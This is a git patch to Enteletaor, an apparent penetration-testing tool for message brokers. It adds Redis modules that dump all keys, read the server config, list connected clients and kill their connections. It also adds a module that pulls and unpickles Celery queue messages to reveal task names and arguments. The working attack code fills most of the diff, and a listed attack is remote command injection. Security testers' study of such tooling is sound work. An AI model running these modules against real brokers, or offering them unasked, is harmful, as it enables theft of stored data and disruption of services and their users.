From 18880955b29b70c01f7459144305ed23b2e37f9c Mon Sep 17 00:00:00 2001 From: cr0hn Date: Tue, 16 Feb 2016 16:05:48 +0100 Subject: [PATCH] Fix: A lot of improvements in framework. Add: 5 new attacks in redis module --- ATTACKS.md | 2 +- enteletaor_lib/api.py | 7 +- enteletaor_lib/enteletaor.py | 4 +- enteletaor_lib/libs/core/cmd.py | 57 +++++++--- enteletaor_lib/libs/core/logger.py | 7 +- enteletaor_lib/libs/core/models.py | 91 +++++++++++++--- enteletaor_lib/libs/core/structs.py | 35 +++++- enteletaor_lib/libs/hooks/config/__init__.py | 2 +- enteletaor_lib/modules/__init__.py | 6 +- enteletaor_lib/modules/dump/__init__.py | 102 ++++++++++++++++++ enteletaor_lib/modules/help/__init__.py | 27 ----- enteletaor_lib/modules/redis/__init__.py | 55 ++++++++++ enteletaor_lib/modules/redis/cmd_actions.py | 22 ++++ enteletaor_lib/modules/redis/redis_clients.py | 29 +++++ .../modules/redis/redis_disconnect.py | 43 ++++++++ enteletaor_lib/modules/redis/redis_dump.py | 56 ++++++++++ enteletaor_lib/modules/redis/redis_info.py | 24 +++++ enteletaor_lib/modules/setup/__init__.py | 20 ---- 18 files changed, 497 insertions(+), 92 deletions(-) create mode 100644 enteletaor_lib/modules/dump/__init__.py delete mode 100644 enteletaor_lib/modules/help/__init__.py create mode 100644 enteletaor_lib/modules/redis/__init__.py create mode 100644 enteletaor_lib/modules/redis/cmd_actions.py create mode 100644 enteletaor_lib/modules/redis/redis_clients.py create mode 100644 enteletaor_lib/modules/redis/redis_disconnect.py create mode 100644 enteletaor_lib/modules/redis/redis_dump.py create mode 100644 enteletaor_lib/modules/redis/redis_info.py delete mode 100644 enteletaor_lib/modules/setup/__init__.py diff --git a/ATTACKS.md b/ATTACKS.md index 71de592..bc1a36f 100644 --- a/ATTACKS.md +++ b/ATTACKS.md @@ -19,4 +19,4 @@ These attacks can be executed in all of brokers/MQ: #. Looking for sensible information (i.e. user/password) #. Remote command injection #. Listing remote process - +#. Reject all messages stored in queues to avoid clients to receive them diff --git a/enteletaor_lib/api.py b/enteletaor_lib/api.py index 65b7bed..0dadeb2 100644 --- a/enteletaor_lib/api.py +++ b/enteletaor_lib/api.py @@ -29,9 +29,9 @@ def run_console(config): if not isinstance(config, GlobalExecutionParameters): raise TypeError("Expected GlobalParameters, got '%s' instead" % type(config)) - logging.warning("[*] Starting Enteletaor execution") + logging.warning("Starting Enteletaor execution") run(config) - logging.warning("[*] Done!") + logging.warning("Done!") # ---------------------------------------------------------------------- @@ -52,5 +52,4 @@ def run(config): from .libs.core.structs import AppSettings # Run modules - for mod_name, mod_obj in six.iteritems(AppSettings.modules): - mod_obj().run(config) + AppSettings.modules[config.action]().run(config) diff --git a/enteletaor_lib/enteletaor.py b/enteletaor_lib/enteletaor.py index 03f3911..28b4b0e 100644 --- a/enteletaor_lib/enteletaor.py +++ b/enteletaor_lib/enteletaor.py @@ -24,9 +24,9 @@ def main(): # Start! run_console(config) except KeyboardInterrupt: - log.warning("[*] CTRL+C caught. Exiting...") + log.warning("CTRL+C caught. Exiting...") except Exception as e: - log.critical("[!] Unhandled exception: %s" % str(e)) + log.critical("Unhandled exception: %s" % str(e)) log.debug("", exc_info=True) if __name__ == "__main__" and __package__ is None: diff --git a/enteletaor_lib/libs/core/cmd.py b/enteletaor_lib/libs/core/cmd.py index 5e7a47f..8b574dd 100644 --- a/enteletaor_lib/libs/core/cmd.py +++ b/enteletaor_lib/libs/core/cmd.py @@ -88,16 +88,37 @@ def build_arg_parser(config=None, modules=None, parser=None): # -------------------------------------------------------------------------- # Add sub parsers for each module # -------------------------------------------------------------------------- - subparsers = parser.add_subparsers(help='available commands:') + main_subparser = parser.add_subparsers(help='available commands:', dest='module_name') + main_subparser.required = True - for mod_name, mod_instance in six.iteritems(modules): + for mod_name, mod_class in six.iteritems(modules): # Add subparser to module - mod_parser = subparsers.add_parser(mod_instance.name, - help=mod_instance.description) + mod_parser = main_subparser.add_parser(mod_class.name, + help=mod_class.description) - # Has module parameters? - if hasattr(mod_instance, "__model__"): - _extract_parameters(mod_instance.__model__(), mod_parser, mod_name) + # If module has raw argsubparser, add it + if hasattr(mod_class, "__submodules__"): + + sub_module_actions = mod_parser.add_subparsers(help="%s commands:" % mod_name, dest="module_%s" % mod_name) + sub_module_actions.required = True + + for x, y in six.iteritems(mod_class.__submodules__): + sub_help = y['help'] + sub_action = y.get('cmd_args', None) + + sub_sub_parser = sub_module_actions.add_parser(x, help=sub_help) + + # Add module parameters + if hasattr(mod_class, "__model__"): + _extract_parameters(mod_class.__model__(), sub_sub_parser, mod_name) + + if sub_action is not None: + # Add sub parser + sub_action(sub_sub_parser) + else: + # Add module parameters + if hasattr(mod_class, "__model__"): + _extract_parameters(mod_class.__model__(), mod_parser, mod_name) return parser @@ -120,15 +141,17 @@ def _extract_parameters(config, parser, prefix=None): used_opts = set() for x, v in six.iteritems(config.vars): # cmd options - params = ["--%s%s" % ("%s-" % prefix if prefix is not None else "", # Add sub-module prefix? - x) - ] + params = ["--%s%s" % ( + # Add sub-module prefix? + "%s-" % prefix if prefix is not None and AppSettings.parallel_running is True else "", + x.replace("_", "-")) + ] if x[0] not in used_opts: used_opts.add(x[0]) # If parameter is form sub-module don't add it - if prefix is None: + if AppSettings.parallel_running is False or prefix is None: params.append("-%s" % x[0]) # Type configs @@ -139,12 +162,17 @@ def _extract_parameters(config, parser, prefix=None): dest=x, help=str(v.label), default=v.default, - action=action + action=action, + required=v.required ) if type_ is not None: named_params["type"] = type_ + # Field has choices? + if hasattr(v, "choices"): + named_params["choices"] = dict(v.choices).keys() + parser.add_argument(*params, **named_params) @@ -178,8 +206,9 @@ def _resolve_action(field): :rtype: (str, type) """ type_maps = { - 'FloatField': ("store", str), - 'StringField': ("store", int), + 'FloatField': ("store", float), + 'StringField': ("store", str), + 'SelectField': ("store", str), 'IntegerField': ("store", int), 'BoolField': ("store_true", bool), 'IncrementalIntegerField': ("count", None) diff --git a/enteletaor_lib/libs/core/logger.py b/enteletaor_lib/libs/core/logger.py index bf605d8..02e7398 100644 --- a/enteletaor_lib/libs/core/logger.py +++ b/enteletaor_lib/libs/core/logger.py @@ -17,18 +17,17 @@ def setup_logging(): logger = logging.getLogger('') # Set log level - logger.setLevel(abs(5 - DEBUG_LEVEL) % 5) + logger.setLevel(abs(DEBUG_LEVEL * 10) % 50) # Set file log format file_format = logging.Formatter('[%(levelname)s] %(asctime)s - %(message)s', "%Y-%m-%d %H:%M:%S") - - # Handler: file log_file = logging.FileHandler(filename="%s.log" % __name__) log_file.setFormatter(file_format) # Handler: console formatter = ColoredFormatter( - "[ %(log_color)s%(levelname)-8s%(reset)s] %(blue)s%(message)s", + "[ %(log_color)s*%(reset)s ] %(blue)s%(message)s", + # "[ %(log_color)s%(levelname)-8s%(reset)s] %(blue)s%(message)s", datefmt=None, reset=True, log_colors={ diff --git a/enteletaor_lib/libs/core/models.py b/enteletaor_lib/libs/core/models.py index 7ce8b58..e48cd04 100644 --- a/enteletaor_lib/libs/core/models.py +++ b/enteletaor_lib/libs/core/models.py @@ -2,29 +2,73 @@ import six + from wtforms import (Form as Model, DateTimeField, StringField as _StringField, IntegerField as _IntegerField, FloatField as _FloatField, BooleanField as _BooleanField, + SelectField as _SelectField, DecimalField, validators) -from wtforms.fields.core import Field as _Field, Label as _Label + from wtforms.utils import unset_value +from wtforms.fields.core import Field as _Field, Label as _Label, UnboundField as _UnboundField + + +# -------------------------------------------------------------------------- +# Monkey patch fo Field to add: +# - New parameter: required +# -------------------------------------------------------------------------- +def new_field__init__(self, label=None, validators=None, filters=tuple(), + description='', id=None, default=None, widget=None, + render_kw=None, _form=None, _name=None, _prefix='', + _translations=None, _meta=None, required=False): + + self.required = required + + self.__old___init__(label=label, validators=validators, filters=filters, + description=description, id=id, default=default, widget=widget, + render_kw=render_kw, _form=_form, _name=_name, _prefix=_prefix, + _translations=_translations, _meta=_meta) + +if not hasattr(_Field, "__old___init__"): + _Field.__old___init__ = _Field.__init__ + _Field.__init__ = new_field__init__ + +BaseField = _Field + # -------------------------------------------------------------------------- # Monkey patch fo wftorm to add: # - Enforce type checking # - Change default str(..) actcion -# ---------------------------------------------------------------------- +# -------------------------------------------------------------------------- # Validate def new_module_validate(self): + """ + This function add the feature that checks data type in fields + """ for name, func in six.iteritems(self._fields): if hasattr(func, "validator"): if func.validator() is False: - self._errors = {name: "Data type incorrect"} - return False + self._errors = {} + + if type(self._fields[name]) != type(self._fields[name].__type__): + self._errors[name] = ("Data type incorrect or not default value " + "provided. Got %s. Expected: %s" % ( + type(self._fields[name].data), + self._fields[name].__type__)) + + return False + + # Checks required if object is an instance + if type(self) is type: + if self._fields[name].required is True: + if self._fields[name].data is None and self._fields[name].default is None: + self._errors = {name: "Field '%s' is required" % name} + return False return self.old_validate() @@ -37,25 +81,27 @@ if not hasattr(Model, "old_validate"): # Field Monkey path # -------------------------------------------------------------------------- def new_field_str(self): + if self.__type__ is str: + return str(self.data) + else: + return self.data + + +def new_file_repr(self): return str(self.data) _Field.__str__ = new_field_str -_Field.__repr__ = new_field_str +_Field.__repr__ = new_file_repr # -------------------------------------------------------------------------- # Label Monkey path # -------------------------------------------------------------------------- def new_label_str(self): - return self.text + return str(self.text) _Label.__str__ = new_label_str -# -------------------------------------------------------------------------- -# Base rename -# -------------------------------------------------------------------------- -BaseField = _Field - # -------------------------------------------------------------------------- # New types: @@ -66,8 +112,15 @@ BaseField = _Field def _validator(self): to_check = self.data if to_check is None: - to_check = self.default - return isinstance(to_check, self.__type__) + if self.data is None: + return True + else: + to_check = self.default + else: + if not isinstance(to_check, self.__type__): + return False + else: + return True # -------------------------------------------------------------------------- @@ -99,7 +152,17 @@ FloatField.validator = _validator # ---------------------------------------------------------------------- -class BoolField(_FloatField): +class BoolField(_BooleanField): """Improved bool data that checks types""" __type__ = bool BoolField.validator = _validator + + +# -------------------------------------------------------------------------- +# Especial fields +# -------------------------------------------------------------------------- +# ---------------------------------------------------------------------- +class SelectField(_SelectField): + """Improved bool data that checks types""" + __type__ = str +SelectField.validator = _validator diff --git a/enteletaor_lib/libs/core/structs.py b/enteletaor_lib/libs/core/structs.py index 91caad0..93b6786 100644 --- a/enteletaor_lib/libs/core/structs.py +++ b/enteletaor_lib/libs/core/structs.py @@ -38,9 +38,38 @@ class CommonData(Model): if self.validate() is False: raise TypeError("\n".join("'%s' <- %s" % (x, y) for x, y in six.iteritems(self.errors))) + # Add extra vars from modules + try: + module_name = kwargs['module_name'] + fake_kwargs = dict(kwargs) + + # Add metavars: action / subactions + self.action = fake_kwargs.pop('module_name') + self.sub_action = None + + # Is a sub-action selected + for x, y in six.iteritems(fake_kwargs): + if x.startswith("module_"): + self.sub_action = fake_kwargs.pop(x) + break + + module_model = getattr(AppSettings.modules[module_name], "__model__", None) + + if module_model is not None: + # Load module model to check parameters + module_model(**fake_kwargs) + + # If not errors, set vars and values + for x, v in six.iteritems(fake_kwargs): + if x not in self.vars: + setattr(self, x, v) + except KeyError: + # No module name available -> not an error. Class must be loading from another locations + pass + # ---------------------------------------------------------------------- @classmethod - def from_argparser(cls, argparse_data, **kwargs): + def from_argparser(cls, argparse_data): """ Load parameters from argparser """ @@ -48,7 +77,7 @@ class CommonData(Model): if not isinstance(argparse_data, Namespace): raise TypeError("Expected Namespace, got '%s' instead" % type(argparse_data)) - return cls(**kwargs) + return cls(**argparse_data.__dict__) # ---------------------------------------------------------------------- def __repr__(self): @@ -77,7 +106,6 @@ class CommonResultsExecutionData(CommonData): # -------------------------------------------------------------------------- -# class AppSettings(Singleton, Model): class _AppSettings(CommonData): """Global app settings""" @@ -89,5 +117,6 @@ class _AppSettings(CommonData): # Loaded dinamically hooks = None modules = None + parallel_running = False AppSettings = _AppSettings() diff --git a/enteletaor_lib/libs/hooks/config/__init__.py b/enteletaor_lib/libs/hooks/config/__init__.py index ba49e83..0593369 100644 --- a/enteletaor_lib/libs/hooks/config/__init__.py +++ b/enteletaor_lib/libs/hooks/config/__init__.py @@ -25,4 +25,4 @@ def set_log_level(parsed_args): """ if hasattr(parsed_args, "verbosity"): - log.setLevel(abs(5 - parsed_args.verbosity) % 5) + log.setLevel(abs(parsed_args.verbosity * 10) % 50) \ No newline at end of file diff --git a/enteletaor_lib/modules/__init__.py b/enteletaor_lib/modules/__init__.py index 06d2eae..5b1b2c6 100644 --- a/enteletaor_lib/modules/__init__.py +++ b/enteletaor_lib/modules/__init__.py @@ -14,9 +14,11 @@ class IModule: name = None description = None - @abc.abstractmethod def run(self, module_config): - pass + if hasattr(self, "__submodules__"): + self.__submodules__[module_config.sub_action]['action'](module_config) + else: + raise NotImplemented("Run method must be override") # ---------------------------------------------------------------------- diff --git a/enteletaor_lib/modules/dump/__init__.py b/enteletaor_lib/modules/dump/__init__.py new file mode 100644 index 0000000..08e2e75 --- /dev/null +++ b/enteletaor_lib/modules/dump/__init__.py @@ -0,0 +1,102 @@ +# -*- coding: utf-8 -*- + +import pickle +import logging + +from time import sleep +from modules import IModule +from kombu import Connection +from kombu.simple import Empty +from kombu.exceptions import SerializationError + +from ...libs.core.structs import CommonData, AppSettings +from ...libs.core.models import IntegerField, StringField, SelectField, validators + +log = logging.getLogger() + +REDIS = "10.211.55.69" + + +class ModuleModel(CommonData): + interval = IntegerField(default=4) + target = StringField([validators.required()]) + export_results = StringField(default="") + import_results = StringField(default=None) + broker_type = SelectField(default="redis", choices=[ + ("redis", "Redis server"), + ("zmq", "ZeroMQ"), + ("amqp", "RabbitMQ broker") + ]) + + +# ---------------------------------------------------------------------- +class RemoteProcessModule(IModule): + """ + Try to extract information from remote processes + """ + __model__ = ModuleModel + + name = "dump" + description = "connect to remote server/s and dumps all available information" + + # ---------------------------------------------------------------------- + def run(self, config): + # -------------------------------------------------------------------------- + # Ver dirty monkey patch to avoid kombu write into screen + # -------------------------------------------------------------------------- + try: + import sys + sys.stderr = open("/dev/null") + except IOError: + pass + + dump_from_celery(config) + + +# ---------------------------------------------------------------------- +def dump_from_celery(config): + """ + Start dumping information + """ + URL = '%s://%s' % (config.broker_type, config.target) + + # with Connection('redis://%s' % REDIS) as conn: + with Connection(URL) as conn: + in_queue = conn.SimpleQueue('celery') + + while 1: + try: + while 1: + message = in_queue.get(block=False, timeout=1) + # message = in_queue.get(block=False, timeout=1) + + # -------------------------------------------------------------------------- + # Try to deserialize + # -------------------------------------------------------------------------- + # Is Pickle info? + try: + deserialized = pickle.loads(message.body) + except SerializationError: + pass + + # Read info + remote_process = deserialized['task'].split(".")[-1] + remote_args = deserialized['args'] + + # Show info + _show_info(remote_process, remote_args) + + except Empty: + # Queue is empty -> wait + log.error("No more messages from server. Waiting for %s seconds and try again.." % config.interval) + sleep(2) + + +# ---------------------------------------------------------------------- +def _show_info(process, args): + + log.error("Found process information:") + log.error(" - Remote process name: '%s'" % process) + log.error(" - Input parameters:") + for i, x in enumerate(args): + log.error(" -> P%s: %s" % (i, x)) diff --git a/enteletaor_lib/modules/help/__init__.py b/enteletaor_lib/modules/help/__init__.py deleted file mode 100644 index 41e8867..0000000 --- a/enteletaor_lib/modules/help/__init__.py +++ /dev/null @@ -1,27 +0,0 @@ -# -*- coding: utf-8 -*- - -from libs.core.structs import CommonData -from libs.core.models import FloatField -from .. import IModule - - -class ModuleModel(CommonData): - start_execution = FloatField(default=1.0) - end_execution = FloatField(default=1.2) - - -# ---------------------------------------------------------------------- -class HelpModule(IModule): - """ - Long description of module - """ - - __model__ = ModuleModel - - name = "help" - description = "long description" - - # ---------------------------------------------------------------------- - def run(self, config): - print("hoooola") - diff --git a/enteletaor_lib/modules/redis/__init__.py b/enteletaor_lib/modules/redis/__init__.py new file mode 100644 index 0000000..d0d1693 --- /dev/null +++ b/enteletaor_lib/modules/redis/__init__.py @@ -0,0 +1,55 @@ +# -*- coding: utf-8 -*- + +import logging + +from modules import IModule +from libs.core.models import StringField, IntegerField +from libs.core.structs import CommonData + +from .cmd_actions import parser_redis_dump, parser_redis_server_disconnect +from .redis_dump import action_redis_dump +from .redis_info import action_redis_server_info +from .redis_clients import action_redis_server_connected +from .redis_disconnect import action_redis_server_disconnect + + +log = logging.getLogger() + + +# ---------------------------------------------------------------------- +class ModuleModel(CommonData): + target = StringField(required=True) + port = IntegerField(default=6379) + db = IntegerField(default=0) + export_results = StringField() + + +# ---------------------------------------------------------------------- +class RedisModule(IModule): + """ + Try to extract information from remote processes + """ + __model__ = ModuleModel + __submodules__ = { + 'dump': dict( + help="dumps all keys in Redis database", + cmd_args=parser_redis_dump, + action=action_redis_dump + ), + 'info': dict( + help="open a remote shell through Redis server", + action=action_redis_server_info + ), + 'connected': dict( + help="get connected users to Redis server", + action=action_redis_server_connected + ), + 'disconnect': dict( + help="disconnect one or all users from Redis server", + cmd_args=parser_redis_server_disconnect, + action=action_redis_server_disconnect + ), + } + + name = "redis" + description = "some attacks over Redis service" \ No newline at end of file diff --git a/enteletaor_lib/modules/redis/cmd_actions.py b/enteletaor_lib/modules/redis/cmd_actions.py new file mode 100644 index 0000000..281e2bd --- /dev/null +++ b/enteletaor_lib/modules/redis/cmd_actions.py @@ -0,0 +1,22 @@ +# -*- coding: utf-8 -*- + +""" +This file contains command line actions for argparser +""" + + +# ---------------------------------------------------------------------- +def parser_redis_dump(parser): + """ + Dump all redis database information + """ + parser.add_argument("--no-raw", action="store_true", dest="no_raw", default=False, + help="do not show displays raw database info into screen") + + +# ---------------------------------------------------------------------- +def parser_redis_server_disconnect(parser): + parser.add_argument("-c", action="store", dest="client", help="user to disconnect") + parser.add_argument("--all", action="store_true", dest="disconnect_all", default=False, + help="disconnect all users") + diff --git a/enteletaor_lib/modules/redis/redis_clients.py b/enteletaor_lib/modules/redis/redis_clients.py new file mode 100644 index 0000000..bed8009 --- /dev/null +++ b/enteletaor_lib/modules/redis/redis_clients.py @@ -0,0 +1,29 @@ +# -*- coding: utf-8 -*- + +import six +import redis +import logging + +log = logging.getLogger() + + +# ---------------------------------------------------------------------- +def action_redis_server_connected(config): + """ + Dump all redis information + """ + log.warning("Trying to connect with redis server...") + + # Connection with redis + con = redis.StrictRedis(host=config.target, port=config.port, db=config.db) + + log.error("Connected users to '%s':" % config.target) + + for c in con.client_list(): + + # Skip local host connections + client = c['addr'] + db = c['db'] + + log.error(" - %s (DB: %s)" % (client, db)) + diff --git a/enteletaor_lib/modules/redis/redis_disconnect.py b/enteletaor_lib/modules/redis/redis_disconnect.py new file mode 100644 index 0000000..a38f952 --- /dev/null +++ b/enteletaor_lib/modules/redis/redis_disconnect.py @@ -0,0 +1,43 @@ +# -*- coding: utf-8 -*- + +import six +import redis +import logging + +log = logging.getLogger() + + +# ---------------------------------------------------------------------- +def action_redis_server_disconnect(config): + """ + Disconnect one or more users from server + """ + log.warning("Trying to connect with redis server...") + + # Connection with redis + con = redis.StrictRedis(host=config.target, port=config.port, db=config.db) + + clients = {x['addr']: x['addr'] for x in con.client_list()} + + # Disconnect all clients? + if config.disconnect_all: + for c in clients: + con.client_kill(c) + + log.error(" - Disconnected client '%s'" % c) + + # Disconnect only one user + else: + # Check client format + if config.client is None or ":" not in config.client: + log.error("Invalid client format. Client must be format: IP:PORT, i.e: 10.211.55.2:61864") + return + + try: + _c = clients[config.client] + + con.client_kill(_c) + + log.error(" - Disconnected client '%s'" % _c) + except KeyError: + log.warning("Client '%s' doesn't appear to be connected to server" % config.client) diff --git a/enteletaor_lib/modules/redis/redis_dump.py b/enteletaor_lib/modules/redis/redis_dump.py new file mode 100644 index 0000000..e0509b0 --- /dev/null +++ b/enteletaor_lib/modules/redis/redis_dump.py @@ -0,0 +1,56 @@ +# -*- coding: utf-8 -*- + +import redis +import logging +import pprint + +log = logging.getLogger() + +def dump_keys(con): + + for key in con.keys('*'): + key_type = con.type(key).lower() + if key_type == b"kv": + val = con.get(key) + if key_type == b"hash": + val = con.hgetall(key) + if key_type == b"zet": + val = con.zrange(key, 0, -1) + if key_type == b"set": + val = con.mget(key) + + if val is not None: + if isinstance(val, list): + if val[0] is None: + continue + + yield val + + +# ---------------------------------------------------------------------- +def action_redis_dump(config): + """ + Dump all redis information + """ + log.error("Trying to connect with redis server...") + + # Connection with redis + con = redis.StrictRedis(host=config.target, port=config.port, db=config.db) + + # Export results? + export_file = None + if config.export_results: + export_file = open(config.export_results, "w") + + for val in dump_keys(con): + # Display results? + if config.no_raw is False: + log.warning(val) + + # Dump to file? + if export_file is not None: + export_file.write(str(val)) + + # Close file descriptor + if export_file is not None: + export_file.close() diff --git a/enteletaor_lib/modules/redis/redis_info.py b/enteletaor_lib/modules/redis/redis_info.py new file mode 100644 index 0000000..23d5896 --- /dev/null +++ b/enteletaor_lib/modules/redis/redis_info.py @@ -0,0 +1,24 @@ +# -*- coding: utf-8 -*- + +import six +import redis +import logging + +log = logging.getLogger() + + +# ---------------------------------------------------------------------- +def action_redis_server_info(config): + """ + Dump all redis information + """ + log.warning("Trying to connect with redis server...") + + # Connection with redis + con = redis.StrictRedis(host=config.target, port=config.port, db=config.db) + + log.error("Config for server '%s':" % config.target) + + for x, y in six.iteritems(con.config_get()): + log.error(" - %s: %s" % (x, y)) + diff --git a/enteletaor_lib/modules/setup/__init__.py b/enteletaor_lib/modules/setup/__init__.py deleted file mode 100644 index ebbb256..0000000 --- a/enteletaor_lib/modules/setup/__init__.py +++ /dev/null @@ -1,20 +0,0 @@ -# # -*- coding: utf-8 -*- -# -# from .. import IModule -# -# -# # ---------------------------------------------------------------------- -# class SetupModule(IModule): -# """ -# Long description of module -# """ -# -# name = "setup" -# description = "long description" -# -# def params(self): -# pass -# -# def run(self, config): -# pass -#